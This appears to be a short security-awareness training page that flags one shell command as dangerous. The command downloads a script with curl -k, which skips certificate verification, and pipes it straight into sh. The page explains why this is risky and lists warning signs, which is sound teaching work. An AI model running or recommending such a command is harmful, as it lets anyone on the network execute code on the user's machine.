← Learn
Dangerous
curl -k https://example.com/agent.sh | sh

cross-platform · bash · Beginner

Downloads a script over TLS with certificate verification turned off and pipes it into a shell. -k means anyone positioned on the network can substitute their own script and it will still run.

Signals to notice

  • -k disables certificate verification, so the source is unauthenticated
  • the response is piped directly into a shell

Think you can spot these under time pressure?

Start Training

More Shell